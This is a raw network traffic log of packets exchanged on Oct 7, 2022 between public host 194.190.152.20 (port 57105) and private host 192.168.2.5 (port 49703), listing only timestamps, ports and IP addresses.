Oct 7, 2022 05:02:37.047238111 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.047477007 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.047755003 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.047976017 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.048116922 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.048353910 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.048518896 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.048795938 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.048996925 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.049360991 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.049555063 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.049674034 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.050038099 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.050157070 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.050318003 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.050637960 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.050836086 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.050915956 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.051240921 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.051476955 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.051764011 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.051940918 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.051966906 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.052221060 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.052546024 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.053155899 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.053292990 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.053571939 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.054064035 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.054195881 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.054546118 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.054610968 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.054853916 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.055058002 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.055125952 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.055329084 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.055663109 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.055860996 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.056092978 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.056206942 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.056561947 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.056761026 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.056920052 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.057358980 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.057518005 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.086458921 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.086496115 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.086824894 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.086934090 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.087194920 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.087409019 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.087450027 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.087966919 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.088489056 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.088577986 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.088848114 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.089216948 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.089407921 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.089572906 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.089888096 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.090089083 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.090251923 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.090327978 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.090653896 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.090930939 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.091332912 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.091650009 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.091851950 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.092211962 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.092329025 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.092609882 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.093017101 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.093055010 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.093530893 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.093570948 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.093811035 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.094090939 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.094429016 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.094737053 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.094939947 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.095251083 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.095530033 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.095571995 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.095973015 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.096133947 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.096371889 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.096451998 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.096934080 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.097026110 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.097171068 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.097572088 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.097898960 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.097918034 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.098189116 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.098413944 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.098654032 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.098731995 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.099342108 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.099533081 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.099653959 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.099893093 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.100050926 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.100693941 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.100977898 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.101093054 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.101386070 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.101497889 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.101888895 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.102009058 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.102093935 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.102329969 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.102608919 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.102812052 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.103010893 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.103349924 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.103368044 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.103729010 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.103849888 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.104089975 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.104209900 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.104532957 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.104811907 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.104923964 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.105134010 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.105330944 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.105530977 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.105772972 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.105854988 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.106177092 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.106373072 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.106573105 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.106853962 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.106897116 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.107100010 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.107415915 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.107533932 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.107934952 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.108052969 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.108170986 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.108380079 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.108895063 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.109211922 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.109292984 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.109493017 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.109827042 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.109842062 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.110214949 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.110652924 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.110734940 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.110938072 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.111257076 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.111457109 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.111776114 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.111972094 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.112257004 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.112454891 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.113061905 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.113090038 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.113377094 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.147006035 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.162576914 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.224953890 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.226203918 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.227560043 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.227689981 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.227783918 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.227885962 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.227967024 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228070021 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228234053 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228234053 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228348017 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228429079 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228526115 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228606939 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228708982 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228796959 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228885889 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.228985071 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229064941 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229171038 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229250908 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229350090 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229444027 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229537010 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229614973 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229696035 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229792118 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229866028 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.229955912 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.230050087 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.230145931 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.230232000 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.230232000 CEST	49703	57105	192.168.2.5	194.190.152.20
Oct 7, 2022 05:02:37.289347887 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.289561987 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.289740086 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.289841890 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.290452003 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.290808916 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.291469097 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.291655064 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.292292118 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.292845964 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.293132067 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.293739080 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.294106007 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.294498920 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.294524908 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.295146942 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.295485020 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.296000004 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.296320915 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.296516895 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.296557903 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.297246933 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.297677994 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.298202991 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.298317909 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.298437119 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.298969030 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.299401999 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.299475908 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.299705982 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.300450087 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.300964117 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.301079988 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.301668882 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.302143097 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.303056955 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.303401947 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.304105043 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.304730892 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.304986954 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.305450916 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.306018114 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.306193113 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.306454897 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.306685925 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.307019949 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.307220936 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.307492018 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.307735920 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.307974100 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.308217049 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.308413029 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.308445930 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.308933020 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.309051991 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.309453011 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.309612036 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.309853077 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.309969902 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.310172081 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.310372114 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.310813904 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.311016083 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.311261892 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.311418056 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.311780930 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.311852932 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.312131882 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.312613010 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.312894106 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.313262939 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.313283920 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.313704014 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.314047098 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.314399958 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.314649105 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.314851046 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.314927101 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.315171957 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.315490961 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.315735102 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.315926075 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.316207886 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.316407919 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.316648006 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.317003965 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.317248106 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.317529917 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.317728043 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.318053007 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.318366051 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.318645954 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.318806887 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.319129944 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.319331884 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.319648027 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.319732904 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.320158005 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.320692062 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.320894003 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.321129084 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.321249008 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.321532011 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.321650028 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.322145939 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.322370052 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.322611094 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.322767973 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.323021889 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.323255062 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.323411942 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.323534012 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.324131966 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.324376106 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.324575901 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.325011015 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.325166941 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.325208902 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.326108932 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.326176882 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.326370955 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.326653004 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.326973915 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.327053070 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.329147100 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.329164982 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.329181910 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.329196930 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.329212904 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.329230070 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.329245090 CEST	57105	49703	194.190.152.20	192.168.2.5
Oct 7, 2022 05:02:37.329340935 CEST	57105	49703	194.190.152.20	192.168.2.5
